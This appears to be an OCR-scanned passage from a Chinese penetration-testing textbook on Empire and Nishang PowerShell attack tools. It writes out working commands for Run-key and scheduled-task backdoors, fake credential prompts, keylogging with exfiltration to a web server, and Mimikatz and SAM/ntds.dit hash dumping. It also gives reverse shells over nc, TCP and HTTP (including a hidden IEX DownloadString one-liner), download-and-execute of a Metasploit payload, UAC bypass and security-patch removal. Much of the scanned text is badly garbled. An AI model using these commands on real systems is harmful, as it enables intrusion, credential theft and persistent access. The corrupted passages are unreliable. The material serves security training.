( [domain\Jusername:password) to use for 
request (default, none, or other ）。
Store the script in the Application 
event log under the specified EventID 
The ID needs t。 be unique/rare' 
Use an external file for the payload 
instead 。f a stager 
Switch. Cleanup the trigger and any 
script f1om specified location. 
Alte1nate-data -st1eam location to sto1e 
the sc 1 ipt code. 

Y6CPSAH9 Agent to run module on 
shuteer Listener to use. 
Updater Key name for the run trigger 
HKCU: SOFTWARE\Mic rosoft飞 Regi日 ry location to store the script 
Vlindows\CurrentVersion\R code. Last element is the key name. 
un 
default 

default 

Proxy to use for request (default, none, 
01 other) 
User.agent string to use fo1 the staging 
request (default, none, or other). 

当我们登录系统时木马就会运行，服务端反弹成功，如图6-156所示。

(Empire po .. er>hell per'i • .. tenrρu;orL“Hl r 巳gi t. y) > set Listener shuteer I 
(Empire· po. Iεr 让dl i•Or ,•.tc""'-' ＇＂＂＇飞＂＇ •d r egi、 try ) > set RegPath HKCU:Software\Mlcrosoft\t/indm;s\CurrentVersion\Run I 
(Empi1e· po.•er t门ell p巳 I ·,i;kic巳川时！ ιn.d rqLtc >) > execute I 

y I 
(Empire: pc.er 巳： n \l ,,,: r·,1'tr•r ； ζU .er 1. ""d r "'""try ) > baεk I 
(Empire ) > [•J Initial agent CXR36UOP flo"' 192.168.1.100 no训 active (Slack) I ., 

图6-156 反弹成功

3 . 计划任务获得系统权限

输入usemodule persistence/ elevated/ sch tasks命令即可使用该模块，这里要设置

DailyTime 、 Listener这两个参数，输入以下命令，设置完后输入execute命令，到了设

置的具体时间时将成功返回一个高权限的Shell，在实际渗透中运行该模块时，杀毒

软件会有提示，如图6-157所示。

set DailyTime 16:17 

set Listene「 test

execute 
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I Empire; pe• ;i ste«cc. ""''' edi ;cht.v；＞.气 I > set Listeeec. test I 

I ［~ (Empire pec>iste."e ele川 ted. 川ht<J .. i\'.> I > execute 
.. y 

(Empire pee 、 15 吃e"ce'clevaterl "ht.1 飞k色｝〉
应川庇白白 ir 叶 M任务 Up由ter·.
Sζhtasks persistence established using listener test stoced in HKL何＼Sof twace\Mic rosoft \fletwo r叭debug with Updater daily trigger at 16;17. 
[+) Initial agent LTVZB4WDDTSTLCOL from 192.168.31.251 now active 

图6-157 反弹成功

接着输入agents命令查看当前agents，可以看到又多了一个具有SYSTEM权限 ，

Name为LTVZB4WDDTSTLCGL的客户端，如图6-158所示，说明提权成功。

l~］~！~~~t~＇ lii＇；~·；l";;: ,,11~1· ;;·::: .. t:c l吵＇ ＇ ν 

Name Internal IP Machine Name Username Process Delay Last Seen 

CD3FRRYCFVTYX~J3S 192.168.31 251 W!N7-64 W!117-64飞shuteer po 、·ershe\\/358-1 5/0.0 2017-07-98 04:17:19 
3rl!CNFIJFK3RKIJ~ ＇＇L !92 !1;8 3! 25! "'!'!7 ·导，， •wrn1.i;.1 、g h<.·t••矿＂0'."""h"'- ' . .13 ！＞民 F，。 .0 20!7 户。7 -08 0·’!7: !9 
LTVZ8耐用DTSTLCGL 192.168.31 251 vl!N7·64 'SHUTEER\SYSTEM po<.ershell/15日0 s1o:e 2011 a1 08 04:11:20 . 

图6- 158 查看agents

这里如果把 set RegPath 的 参数改为 HK.CU : SOFTWARE\Microsoft\ Windows\ 

CurrentVersion\Run，那么就会在16:17分添加一个注册表注入后门， 读者可以练习一

下 。

6.3 .10 Empire 反弹回 Meta sploit

在实际渗透中，当拿到JWebShell上传的MSF客户端无法绕过目标主机的杀毒软件

时，可以使用PowerShell来绕过，也可以执行Empire的Payload来绕过，成功之后再使

用Empire的模块将其反弹回Metasploit 。

这里使用usemodule code execution/invoke shellCode模块修改两个参数： Lhost

和Lport 。 将Lhost修改为MSF所在主机的E， 按以下命令设置完毕，如图6-159所示。

Set Lhost 192.168.31.247 
Set Lpo「t 4444 

l讪 le xec t 工o i k i ll I , ) > set Lho 
(Er『1pire: code execution. ，工［〕 νok巳巳h已llcod1丁 ） > execute 
(Empire: code execution'invo~e 三 hell c oci 巳） 〉
Job started: Debug32 _ipd5v 

图6-159 设置参数

在MSF上设置监昕，命令如下，运行后，就可以收到Empire反弹回来的Shell了，

如图6-160所示。
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Use exploit/multi/handle「

Set payloadwindows/meter、P「ete「／ rever、se_https

Set Lhost 192 .168. 31. 247 

Set lpo「t 4444 

Run 
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I I Started HTTPS reverse handler on l1ttps: //192. 168. 31. 247: 4444 
! I Star ting the payload handler ... 
1 · J https://192.168.31.247:4444 handling request from 192.168.31.251; (UUID: wz5ns26k) Stag111g x8 
6 payload (958531 bytes) 

I I’·1eterpreter session 1 opened (192.168.31 247:4444 ·> 192.168.31.251:55406:• at 2017-07-09 10:1 
8:52 -0400 

阻民旦旦旦王〉 ’

图6-160 反弹成功

6.4 Nishang 

Nishang是一款针对PowerShell的渗透工具。 它基于PowerShell的渗透测试专用工

具，集成了框架、脚本和各种Payload，包括了下载和执行、键盘记录、 DNS、延时

命令等脚本，被广泛应用于渗透测试的各个阶段。 其下载地址为https : //github.com/

samratashok/nishang 。

6.4.1 Nishang 简介

Nishang要在PowerShell 3.0以上的环境中才可以正常使用，也就是说在Windows

7下默认是有点小问题的，因为Windows下自带的环境是PowerShell 2.0 。

导入模块之后输入Get - Command - Module nishang命令查看Nishang都有哪些模

块，如图6-161所示。
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图6-161 查看模块歹lj表

从图 6-1 61 中可以看到， Nishang 的所有命令都被列出来了 。 执行命令

Get-” 

程、计算机配置信息、无线网络和设备的信息、、 Hosts信息等）。直接执行以下命令，

可以看到列出了本机的部分信息，如图6- 162所示。

PS > Get-Infor可nation
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图6- 1 62 列出本机的部分信怠

还需要说的一点是，我们可以在PowerShell中使用Out-File将执行结果导出到文

件中，命令如下所示。

PS D:n i shang-maste「＞ Get -I nformation I Out-File 「es.txt

这样，就可以把获取的信息保存在res.txt中了。

接着打开Nishang的目录查看目录结构，在导入nishang.psml 的时候， Nishang下

的所有模块都可以直接被PowerShell读到 。 但在实际渗透过程中，肯定不能把Nishang

的整个目录赋值到目标服务器上。 所以在远程下载某一个脚本的时候，了解目录结

构对寻找文件位置是很有帮助的，如图6-1 63所示。
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.g此 2017/6/26 19:16 文件夹

A目，veDirect。叩 2017/6/26 19:16 文件夹

Antak-WebShell 2017/6/26 19:16 文件去

Bockdoors 2017/6/26 19:16 文件夹

Bypass 2017/6/26 19:16 文件夹

Client 2017/6/26 19:16 文件去

Escalation 2017/6/26 19:16 文件夹

Execution 2017/6/26 19:16 文件夹

Gather 2017/6/26 19:16 文件夹

MISC 2017/6/26 19:16 文悼灵

MITM 2017/6/26 19:16 文件夹

P1v。t 2017/6/26 19:16 文件夹

p。werpreter 2017/6/26 19:16 文件夹

Prasadhak 2017/6/26 19:16 文件夹

Scan 2017/6/26 19:16 文件夹

Shells 2017/6/2619:16 文件夹

Utility 2017/6/26 19:16 文件夹

国 .g itattributes 2017/6/26 19:16 文军交韬 1 KB 

囡 .gitignore 2017/6/26 19:16 文本文宿 3 KB 

I [0 CHANGE LOG剧 2017/6/2619:16 文本文章噩 10KB 

国 DISCLAIMER.txt 2017/6/26 19:16 立军立贯且 1 KB 

口 LICENSE 2017/6/2619:16 文件 1 KB 

nishang.psml 2017/6/26 19:16 Windows Power ... 1 KB 

- README.md 2017/6/26 19:16 Markd。wn File 17 KB 

图6-163 查看目录的结构

下面对Nishang的模块及其功能进行说明，如表6-1所示。

表6-1 Nishang的模块及其功能

模 士夫 功 能

Antak-WebShell Web Shell 

Backdoors 后门

Client 客户端

Escalation 提权

Execution RCE 

Gather 信息收集

Misc 杂项

Pivot 跳板／远程执行 EXE

Scan 扫描

powerpreter Meterpreter 会话
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6.4.2 Nishang 模块攻击实战

Nishang 的模块很多 ， 本小节只讲解部分模块，其他的也建议读者多多尝试。

1. Check-VM 

该脚本用于检测当前的机器是否属于一台己知的虚拟机。 它通过检测己知的一

些虚拟机的指纹信息（如Hyper-V 、 VMware、 Virtual PC 、 Virtual Box、 Xen、 QEMU)

来识别，如图6-164所示，该机器是一台虚拟机。

图6-164 检测是否为虚拟机

2. lnvoke-CredentialsPhish 

这个脚本的作用是欺骗目标主机的用户，让用户输入密码，在实际使用中读者

可以充分发挥想象力来灵活运用，效果如图6-165所示。

图6-165 诱使目标用户输入账号密码

改脚本的功能很强大，因为不输入正确密码就关闭不了对话框，只能强制结束

进程，这里成功得到明文的管理员账号密码，如图6-166所示。
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l… p t - Mod 1 'I k C d ….. , , I 
PS C: '> I nυoke-C1•edent ialsPhish I 
Use!'name: s mile Pass uo!'d: 123456 Domain: Domain: I 
PS C: '> a.;, I 

图6-166 成功获取账号密码

3. Copy-VSS 

这个脚本利用Volume S hadow Copy服务复制sam文件，如果这个脚本运行在了

DC机上， ntds .dit和SYSTEM hive也能被拷贝出来。

其语法如下所示，运行成功的结果如图6-1 67所示。

PS > Copy- VSS ＃将直接把文件保存在当前路径下

PS > Copy-VSS -DestinationDi「 C : t emp ＃指定保存文件的路径（必须是己经存在的路径〕

t f,,. • m•h•咱·master

宵 岐藏R

τ篝

..面
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图6-167 Copy-VSS的运行结果
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4. FireBuster Fi 「elistener 扫描器

用于对内网进行扫描， 打开本地监听，然后远程传送数据，把包发给FireListener 。

首先在本机输入以下命令运行FireListener 。

Fi 「elistene「 13θ － 15θ

接着在目标机输入以下命令， 结果如图6- 168所示。
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Fir、eBuste「 192.168.12.107 13θ － 150 -Ve「base

图6-168 远程传送数据

5. Keylogger 键盘记录

Nishang的键盘记录模块是目前为止笔者见过功能最为强大的 ， 首先查看这个模

块的帮助文件，输入以下命令，如图6-1 69所示。

图6-169 查看帮助文件

可以看到图6-1 69中给出了四种执行方式，具体命令如下所示。
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\Key logger、 . psl ＃使用这种方式运行，键盘记录会被保存在当前用户 Temp 目录下的 key 文件中。

\ Key logger、 .psl -CheckURL http://pastebin.com／「aw.php?i=jqP2vJ3x －问agicString stop 
this # -CheckURL 参数会检查所给出的网页之中是否包含 －MagicSt 「i ng 后的字符串，如果存在就

停止使用记录。

\ Key logger、 .psl -CheckURL http://pastebin.com／「aw.php?i=jqP2vJ3x -MagicSt「ing stop 
this -exfil -E x手ilOption WebSe「ve「 -URL http://192.168.254.226/data/catch.php ＃才夺

记录指定发送给一个可以记录 Post 请求的 Web 服务器。

\Key logger、 . psl -persist ＃实现持久化记录 （重启后依然进行记录）。

下面详细讲解下第一种方法， 直接执行Keylogge叩s l命令 ， 默认会在Temp 目 录

生成一个key.log文件， 如图6-170所示。

• t I.lo “ 用户 ， Adm;n,,trato• • AppOa恼 ， t。col • Temp • • c. I l 堕！： Temp ρ 

fJ&8圃 员2 主4、

由•Jgby<n lOlb/11川0 ll:lts 2悍冕

vmwMe·Adm;n;woto' 2016/11/10 '2o02 立件突

wx。d3。h 2016/11/10 ll日O Z份提

唰q5;2uf 2016/11/，。 ll日’ 立但站是

旺。wd5yn 2016/’1/10 ’cl2 又体亮

>«24•阳h 2016川V呻 12'33 立”嘀

El 百 晴lzh2o• 2016111110 12,ze Z份提

y2ffga5t 2016/1ν10 曰：32 主体亮

yamqHu 2016/1 V叩 12,29 J);i'句是

yvg1阳，仨 2016/11/10 ,,,,, Z件提

E事计’叽 LI 硅艺艺
自16／’时，。，2坦立陶起

2016/11／，。， 5,10 :l!::il司E画

图6-170 生成key . log文件

然后输入以下命令，使用Nishang Utility中的Parse_Keys来解析， parsed.txt里就会

出现解析后的按键记录， 如图6-171所示。

PS > Pa 「se_Keys . key . log . pa 「sed.txt
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1 
1 
1 
1 
S-84 
S-69 
S-83 
S旬84
1 
1 
I 
1 
I 

图6-171 查看按键记录

6. lnvoke-Mimikatz 

第5章己经讲过Mimikatz的使用方法，此脚本的基本使用语法如下，该脚本使用

后的结果如图6-172所示。

Invoke-Mimikatz -DumpCe「ts ##Dump 出本机的凭证信息

Invoke-Mimikatz -DumpCreds 啕Compute「Name ＠（气ompute「1”， "compute「2”） ##Dump 出远程

的两台计算机的凭证信息

Invoke-Mimikatz -Command V「ivilege: : debug exit”－Compute「Name "computerl ” ＃＃在远

程的一台机器上运行 Mimikatz 并执行” P「ivilege::debug exit" 

图6-172 利用Mimikatz抓取密码
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7. Get-PassHashes 

这个脚本在Administrator的权限下可以Dump出密码哈希值，来源于Metasploit中

的Power Dump模块，但在其基础做出了修改，使得不再需要SYSTEM权限就可以

Dump了，如图6- 173所示。

1:: ~ . 
·'"lmin i st mt or: 500: aad3b 、$。eaad3b435b51404ee:3ld6cfe0dl6ae93!1τqd/e0c089c0 : I 
C吠1est: 501 :aad3b435b51404eeau- ··叮叮4ee:3ld6cfe0dl6ae93lb73c59d7e\J、 气·．． | 
["lof"oH it 占伫rount :503:aad3b435b514U吐e、 －、 4门4ee:3Jd6cfe0dl6ae93lb73c、 叮c089c0：… | 

弓eaad3b435b5141.J组e、‘”《句。93lb73c59d7e0c089cv I 
HomeL.roupL "'" o. 山vν· “... ..,b435b5 l 404eeaad3b43Sb51吃、＇Obl6ccal33cfl ld4。”'lab: I 
p.::_ r· r.c:..,.-P~C' ＜：＇町、 P't<:- I 

图6-173 获~Hash

8. 获取用户的密码提示信息

这个脚本可以从Windows获得用户密码的提示信息， 需要有Administrator的权限

来读取sam hive 。 可以根据提示信息生成密码字典，能大大提高爆破的成功率。甚至

有相当一部分人会将明文密码记录在这个提示信息中。输入以下命令，可以看到提

示信息qwer，如图6-174所示。

Get-PassHints 

l~S C: '1J sc > s'-"nile - TI> …d 
snilc TT :qυ. .. 

rs c ： 吐』~C l' S: 、~l'lile-TT>

图6-174 获取用户的密码提示信息

6.4.3 PowerShell 隐藏通信遂道

I J ＇－－－ 飞
I - •「－
l • • I 
、 、＿， ' 

1 . 基于 TCP 协议的 PowerShell 交亘式 Shell

Invoke-PowerShellTcp是基于TCP协议的PowerShell正向连接或反向连接Shell，该

模块的具体参数介绍如下所示。

• IP Address <String> ＃选择－Revers巳~项时表示需要连接的IP地址

• Port <Int32> ＃选择－Reverse选项时表示需要连接的端口，选择

-Bind选项时表示需要监听的端口 。

• Reverse [ <SwitchParameter>] ＃反向连接

• Bind [ <SwitchParameter>] ＃正向连接
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Cl ）反向连接

使用NC监听本地3333端口 （注意必须先监听，不然在目标机上执行脚本时会出

错），命令如下所示。

nc - lvp 3333 

然后在目标机PowerShell下输入以下命令，反弹Shell到 192.168.12.110的3333端口 。

Invoke - Power、ShellTcp -Reve「s e -IPAddress 192 . 168.12.110 ” Port 3333 

可以看到连接成功，如图6-175所示。

： 川 r ..二lηt l主 nc 习v再－JJJJ

listening on [any] 3333 .. 
192.168 . 12.103: inverse host lookup failed: Unknown host 
connect to [192 . 168.12.110] from (UNKNOWN) [192 . 168 . 12.103] 57656 
Windows PowerShell running as user ?? on MY PC 
Copyright ( C) 2015 Microsoft Corporation. All right s 「eserved.

PS C: \>v1hoam1 
my pc\?? 
PS C:\> ifconf1g 
my pc\?? 
PS C:\> ipconfig 

Windows IP ?? 

图6-175 反向连接

( 2）正向连接

在目标机PowerShell下执行以下脚本命令，监昕3333端口 。

Invoke-Powe「ShellTcp -Bind -Po「t 3333 

在NC下执行以下命令，连接目标机192.168 .12. 103的3333端口。

nc -nv 192.168.12.103 3333 

可以看到连接成功，执行ps命令即可查看效果，如图6-176所示。
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图6-176 正向连接

那么何时选用正向连接，何时选用反向连接呢？答案是当目标在外网而你在内

网的时候，用正向连接。当目标在内网而你在外网的时候，用反向连接。 如果都在

外网，则没有区别，两种方式皆可。

2. 基于 UDP 协议的 PowerShell 交亘式 Shell

Invoke-PowerShellUdp是基于UDP协议的PowerShell正向连接或反向连接Shell 。

这里的使用方法和上面相同，由于基于UDP协议，所以nc的命令有所不同。具体

命令如下，其他使用方法可参照前面的案例。

正向连接命令： nc -nvu 192.168.12.103 3333 

反向连接命令： nc -lup 3333 

知识点： 推荐这个网站一一https : //www.explainshell.com，读者可以使用它查看包

括Windows和Linux的在内的各种命令解析，如图6-177所示。
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εxp1ains哈com

’ nc U > - lvp 3333 

-· τε，，z’”dn 趴睛， blfe

~ '-1 ＂＇＇~嗣由．’·or inbound 帽响α．

”’阳”［“”＂＂＂”“”r…F田”1

革”c.t lml ”＞＂tn.-ber- 阳，乞阳础m e”"""'''''"''""''"'''"[''"""')) 

图6-177 网站截图

J 
二二二二3

3. 基于 HTTP 和 HTTPS 协议的 Powe「Shell 交E式 Shell

Invoke”PoshRatHttp 和 Invoke-PoshRatHttps 是基于HTTP协议和HTTPS 协议 的

PowerShell反向连接Shell。除了基于TCP和UDP协议的Shell, Nishang还支持基于HTTP

和HTTPS协议的Shell，两种脚本的使用方法一样，语法如下所示。

HTTP: Invoke-PoshRatHttp -IPAddress 192.168.12 . 103 -Po「t 3333 

HTTPS : Invoke-PoshRatHttps -IPAdd「ess 192.168.12.1θ3 -Port 3333 

这里只讲解基于HTTP协议的脚本的使用，执行如图6- 178所示的命令 ， 在

192 . 16 8 .12.103的本机监昕3333端口，会生成一个PowerShell命令。r . "" ·~川…，.， ,,,, I Listening on !9c. !6S. le. 103:3333 I 
Run the followrng co"1land on the target I 
pc叫口he! 1. e>:e 币 rnd币Style hidden faecutionPolln Bypass nolo•o n叩rof 】 le c !EX 川、·＞ Object \el. h町；＇＇＇＂： Jo·rnloadStr• •l 
gl°lutp: 19c. !68. lc.103:3333 conner 飞’＂ I 

图6-178 执行HTIP命令

将生成的命令复制到目标机CMD中执行，成功后命令行会自动消失，然后在本

机PowerShell下会返回目标机IP为 192.168 .1 2 . 107的会话，执行ps命令后提示成功， 如

图6-179所示。
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PS (: In飞okc>-PoshRatHttp 19:::. 168 !'.: 103 3333 
Lι51e111n~ on 192.168. le. 103:3333 
Rnn ''"' fol lo..-ing coJm1and on thθt ai get 
pnwer.;I旧1 l. exe W1ndowSt 飞 le hidden Execut JOnPolicy B::pass -no logo -noprofile -c JEX I (Xew-Object Xet WebCl ient I Downloads 
,, . http: 19:::. 168. le. 103 ：』333 connect. II 
PS 19'.:. !GS.!:::. 107.1031 ps 

Hand ；萨 s \P川＇＂＇ F飞！ IKI WSIKI 飞llilll CPl Isl Id ProcessXame 
－－－－－－』－－－－－－

110 10 15360 l 123'.: 51 948 audiodg 
L> l 796 '.:676 1.; 0. 0:2 l 180 cmd 

59 . 173:2 丁20.J 69 0. 05 3064 conh。st
.J9·l ll 1940 399::: 吕3 3.\0 csrss 
:218 i二 :03:20 7 .JOO 186 .JOO csrss 
l 』4 278.J 8192 67 :2540 DiscSoftBusSen1ce 
、o::: 16 -l360 848』 60 19;::: dllhost 
l'.:6 12 302·1 13924 123 0. 28 2:288 DTλgent 
11 二 c990S 33:::1::: 105 0. 59 l 988 d•lll 
;s.1 49 :248.\4 46648 219 ::: . ;5 2060 expio1·er 
。 。 。 :24 。 0 Idle 

00二 19 3556 7832 .JO 504 lsass 
l 』 l '.:16.J 35;5 :::1 51'.: lsm 
86 1::: 31:20 6256 68 13.JO llanagementAgentHost 

图6- 179 反弹成功

6.4.4 WebShell 后门

® 

该模块存放于\nishang\Antak-WebShell 目录下，就是一个ASPX的“大马”， 使用

PowerShell的命令，比CMD命令要强大很多 ， 读者可以使用这个WebShell编码执行脚

本，上传、下载文件， 效果如图6- 180所示。

。 吃） • 10 httpJ/192.J盹2回J到曲曲l/antak.>阳 F 食·

.. ft B 海军 、孩，.离蛐 天量篝毫 M ，，钮， a 筝，国慧。篝衷II); ，， 去包缉 J1、ft ，兔… 06眩’‘··向2…. ＠，也用心巳由也

图6- 180 WebShel l 
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该模块的执行方式很简单，上传WebShell后的使用方法和操作PowerShell执行窗

口一样，上传和下载文件时填写好对应路径，单击“Upload the File ，，“Dow世oad”按

钮即可。

6.4.5 权限提升

1. 下载执仔

Download_ Execute是Nishang中的下载执行脚本，常用于下载文本文件，然后将

其转换为可执行文件执行。

使用以下命令可利用Nishang中的exetotext.ps l 脚本将Metasploit生成的木马端

msf.exe更改为文本文件msf.txt 。

PS C : Use「5「oot > ExetoText c: msf.exe c: msf.txt 
Conve「ted file w「itten to c: ms于 .txt

然后输入以下命令，调用Download Execute脚本下载并执行该文本文件。

PS C:Use「5「oot > Download_Execute http://192.168.110.128/ms于 .txt

这时在Metasploit的监昕端口就可以成功获得反弹回来的Shell，如图6-181所示。

msf expl。it( ) >· run 

[•] Started reverse TCP handler 。n 192 . 168 .110 .128 :4444 
["] Starting the payl。ad handler ... 
[•] Sending stage (1189423 bytes ) t。 192 .168. 110 . 131 
[ ·1 lieterpreter sessi。n 3 。pened ( 192 .168 . 110 .128 :4444 -> 192 .168 . 110 . 131 :49172) 
at 2016-10-27 04:56:08 ·0400 

fllll主哩1'PD晋主EU > pwd 

图6-181 成功反弹Shell

2. Bypass UAC 

User Account Control （用户账户控制）是微软为提高系统安全而在Windows Vista 

中引入的新技术，它要求用户在执行可能会影响计算机运行或其他用户设置的操作

之前，提供权限或管理员密码。通过在这些操作执行前对其进行验证，在未经许可

的情况下， UAC可以防止恶意软件和间谍软件在计算机上进行安装或对计算机进行

更改。
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在Windows Vista以及更高的版本中，微软引进了安全控制策略，分为高、中、

低三个等级。高等级的进程具有管理员权限，中等级进程拥有一个基本用户的权限，

低级别进程的权限受各种限制，用来保证在系统受到威胁时，使损害保持在最小。

UAC需要授权的动作包括：

• 配置Windows Update。. 增加或删除用户账户。
. 改变用户的账户类型。. 改变UAC设置。

• 安装ActiveX。

• 安装或卸载程序。. 安装设备驱动程序。. 设置家长控制 。

• 将文件移动或复制至IJProgram Files或Windows 目录。. 查看其他用户的文件夹。
UAC有4种设置要求，如下所示。

• 始终通知：这是最严格的设置，任何时候，当有程序要使用高级别权限时，

都会提示本地用户 。. 仅在程序试图更改我的计算机时通知我 ： 这是UAC的默认设置。本地

Windows程序要使用高级别权限时，不通知用户 。 但当第三方程序要求使

用高级别权限时，会提示本地用户。

• 仅在程序试图更改我的计算机时通知我（不降低桌面的亮度）：与上一条

设置的要求相同，但提示用户时不降低桌面的亮度。

• 从不提示：当用户为系统管理员时，所有程序都会以最高权限运行。

Invoke-PsUACme模块使用了来自UACME项目的DLL来绕过UAC，作用是绕过

UAC, Nishang中给出的方法非常全面，列出了各种绕过UAC的方法，如图6- 182所示，

可以在Invoke-PsUACme中指定相应的方法来执行。
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芫法.g 将 Oll 写入 Dll 名字 可用子的l'.i序
CRYPTBASE.dll 对

c·飞Wmd。\VS飞System32\sysprep飞
于 W』ndows7

C 飞w;ndows飞System32\sysprep飞sy叩rep exe sysprep 
she。re.dll 对于

w;ndowsB 

wdscore . dll 对于

。obe cλWindows飞system32\oobe\ Wind。ws7 、 8 f：口 C 飞w;nd。ws\System32＼。。be飞setupsqm exe 

10 

ActionQueue.dll 

actionqueue C·\Windows飞System32\sysprep飞 仅仅对于 Wondows C:\w;ndows飞System32\sysprep飞sysprep.exe

7 

wdscore.dll 对于

mil!'叫 C：飞Wind。w《System32\migw叭 Windows 7 f口 c·\w1nd。VJS飞System32\m1gwiz飞m咀阳z exe 

WindowsB 

nt四dbhb.dll 对于

cliconfg C:\Windows\System32飞 Windo附7、 sf日 c.飞Wind。ws\System32\cl眩。nfg.exe

10 

c·飞Window叭System32\sysprep飞c。PY ntwdbl1b.dll 对于

w1nsat.cxe from C：飞 WindO＼＇ι7 
C：＼时ndows\System32\sy叩rep\w;nsat.exew;nsat 

Wind。ws飞Systcm32\ t。 devobj.dll 对于
C 飞Windows飞System32\sy叩rep飞 WindowsB 、 10

ntwdbl1b.dll 对于

m町、c C:\W1nd。l'IS飞System32\
w;ndows 7 

C九
e~ext.dll 对于

Win owsB 日 10 .... , ......... 四｜
图6-182 绕过UAC的方法

输入GE下HELP命令后查看帮助信息，如图6-183所示。

一…－ 幸间 1 … -- 
I'S >I ””。..俨P:;URCnt: -Ucthu:ie 

..。”. co们n。”ri "'”’:; t:1u: sνs l"'"l' "°"'°'' ''"'' cl.e riofoulc ,-.,Jo.1ri. 

~ 亲1吨 2 - • • 一一

rs >t ””。ko俨P::UACnc - netho1I oobc Uc1•lm::c 

Abouu c。＂＂＂”d a吨m:: the oobc rwthod ;u1d ‘ ho riof ""Jc I"'> lo 1d, 

一 …一一…－…－－－－ --· ifi叫 3 ←一……－一…一一一一一－
PS >111‘，。ku P::URCnc nu 也hort cmbe - Po” loc1d ＇”。”c"'""" uiodou,.ylc I，也dchm c SQBuMIYAhuBt RGU向LQllFAll组ncno1’”cuncuD<!f电Ck
a，”’缸”向en台JMoAE4:内ZQBJACUnτ＂＂ inCo nzooJn 11on l n DJn EBn 41 or n HQn co D inc En I.均BSAGU同YQUknCURcg内”。c，刷JRAoAE4RZQBJAC0AT11BiAGoAZQ
Dj。”。nJAUJRE8A41目DACH肉hQll”。”.., •• , ..””向....向c<n1.9 a" cunz,e, nc•••肉BlM＇何...向自”AGUAYQRt刷cnn民向自 knCu份＇•＂＇＂”cALQBPACI 自＂＇＂＂
G”nrlRnunEknTun11nEnn7.QHcnce肉coDSnf”肉....仿GUAYQBt n en n !(Ant, ACQA KA BhA Enn b”汩untlYAZQB”n11QnXQn&noonn,a,ncen1>QBCnCEnc”BlnDYA
Nn DTnllQA09BpAC4内Zu肉。nccnuno.,nEvnznohnn,ns。UJAEYnSQB‘nHvno,non11”nu肉BoADkAS”UOOG90f9U110FEA”。＂＇＂＂＇＂”9nsnnQnuuu"nc1 AQuH 
JnE泪nhnnυOF·臼Al/QDo份F,nz.,osnDJ nHnUQAUQ内，，’；JCAfoA＜‘’”FnFt n11Rn xn 11 •1ncon5 n11 n nv oD l n CQR uo •En II u nsnns n cun RQ彷1nGMllnDt肉C臼RQ,,DllnG
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RDYAUuB'IAGUR’‘... , .... ，，内DJRC11n.IQDJnPQnc,B2RCQnY•llllRDunZuDURllYAYglJG份DinO内 Uk•Eon11QUoOllkOlluU川Cl 向YQDYRFERZQUJACI RllgDj自＂
向SuBnAFEnuna"nE1 R<nBrn臼RlluBN旺。”c”DRnFQnsnn.. nFkn队，BUnEM r •••• DknNQD ... Cknu, DKn" ....... De ..... '. G"• hQB刊llcn"nBPADURUQ
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”。AQQBFAEQAHQBBAD I AriQBHA DEA s n nc• D包nHRBJRDIAcA目cnPYA”＂emE 1 • RuA2n c, ns, ncn Pon•• Ut n CYAduncnc, nsn ezn E呻•＇－QllU向CIAZ,BZllPJn
旬的AE4nSuBoACI n””.,.ccn un. I •••• c •• ,. EkAZn ... JI kAUQBOn Co• hn D .. c:mu .. a iAGQ A＇＇恻AE!nll9Dz向.，.”。”x向阳RL1，即AC'lAUQBUAllkf\enA
eAllQnZ”n .. nc,AcQA,AEllAUQBkA”。肉”。BYAllo。”。BO内lllAUO自5仿F.107.ABIAC。ATgnrnDyRYQD‘，ncvnonnknE1•M••仿G8AogBcnD”内L11A11向ElAJ‘，RpAC
kAllQApACu命I内Bbf'!Ekfllt1航‘民E饥AhuUcnllnAc9D lAll!UlcuDvnCB肉by队‘民日愉huB雹Rltn肉cuDlnH”Oc”..肉cen1.,0Nncanz内BlAFU肉OgA6AEQRZQBjnCBAh
QBuAH I AZQB;:A，。”向 KQRpAC”R lllBb仿fQnZQB4AllQALuBFnC.A帆，宵”S咄咄...队，ACenXQM.I、Du AQQ BT n El"lfll> Q BJfl Cid\ KQ队，nf1nzom.nconunaonED•"9Bk 
nc,,nKQn'l内向 ··”

图6-183 查看帮助信息
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具体的执行方式如下所示。

PS > Invoke-PsUACme -Verbose ＃＃使用 Sysprep 方法并执行默认的 Payload

PS > Invoke-PsUACme -method oobe -Ver、bose ＃＃使用 。obe 方法并执行默认的 Payload

PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e Your、

EncodedPayload" ＃＃使用 － Payload 参数可以自行指定执行的 Payload

除此以外， 还可以使用－Payload.Path参数指定一个Payload路径，在默认情况下，

Payload会在 C:WindowsTempcmd. bat结束。还可以使用 －CustomD1164 ( 64位）或

-CustomDLL32 (32位〉 参数自定义一个DLL文件， 如图6-184所示。

图6-184 设置参数

3. 删除补丁

这个脚本可以帮助我们移除系统所有的更新或所有安全更新，以及指定编号的

更新。 具体可以查看如图6-185所示的示例说明。

此脚本的执行方式如下所示。

PS > Remove-Update All 
PS > Remove-Update Security 
PS > Remove ” Update KB2761226 

＃＃移除目标机器上的所有更新

＃＃移除目标机器上的所有与安全相关更新

＃＃移除指定编号的更新
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图6- 185 示例说明

在使用该脚本之前，先来查看本机的补丁情况，如图6-186所示。

图6-186 显示补丁

尝试删除第一个补丁，输入PS >Remove-Update KB2849697命令，显示成功删除

了第一个补丁，如图6-1 87所示。
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图6-187 执行脚本

4. 真他功能

Cl ）端口扫描（ Invoke-PortScan) 

lnvoke-PortScan是Nishang的端口扫描脚本，它用于发现主机、解析主机名、端

口扫描，是实战中一个很实用的脚本。 输入Get-Help Invoke-PortScan-fulleP可查看帮

助信息，如图6-188所示。
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图6-188 查看帮助信息

具体的参数介绍如下所示。

• StartAddress 

• EndAddress 

• ScanPort 

• Port 

＃＃扫描范围开始的地址

样扫描范围结束的地址

揣进行端口扫描

时指定扫描端口（默认扫描端口： 21,22,23，日，69,71,

80,98,110,139,111, 389,443,445,1080, 1433,2001,2049,3001,3128,5222,6667,68 

68,7777,7878,8080, 1521,3306,3389,5801,5900,5555,5901) 

• TimeOut ＃设置超时时间
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使用以下命令对本地局域网进行扫描，搜索存活主机并解析主机名 ， 如图6-189

所示。

Invoke-Por、tScan -StartAdd「ess 192 .168. 25θ.1-EndAddress192.168.25θ. 255 -ResolveHost 

一’……n1:1• ••r.ttri1m'l:l:r.JU露出一＂ ...... r. r. ~一…－－:r.Ti f l fil'lo Y一…一6'1:i1'l'W UJDlr'....:i

I F白dd1•c~ ：； H oo ’H 电ne Port:; 

1'1?..J68.25 RI l.lltn 
192.168.25 "El 阳5.1

192.168.25 192 .250 
92.169.25 ~ni f .Li11 

192.169.25 S?NI JQ310 1“n 
i9?..16S.2S iPho ,,,. 
192.168.25 ll\i· M 

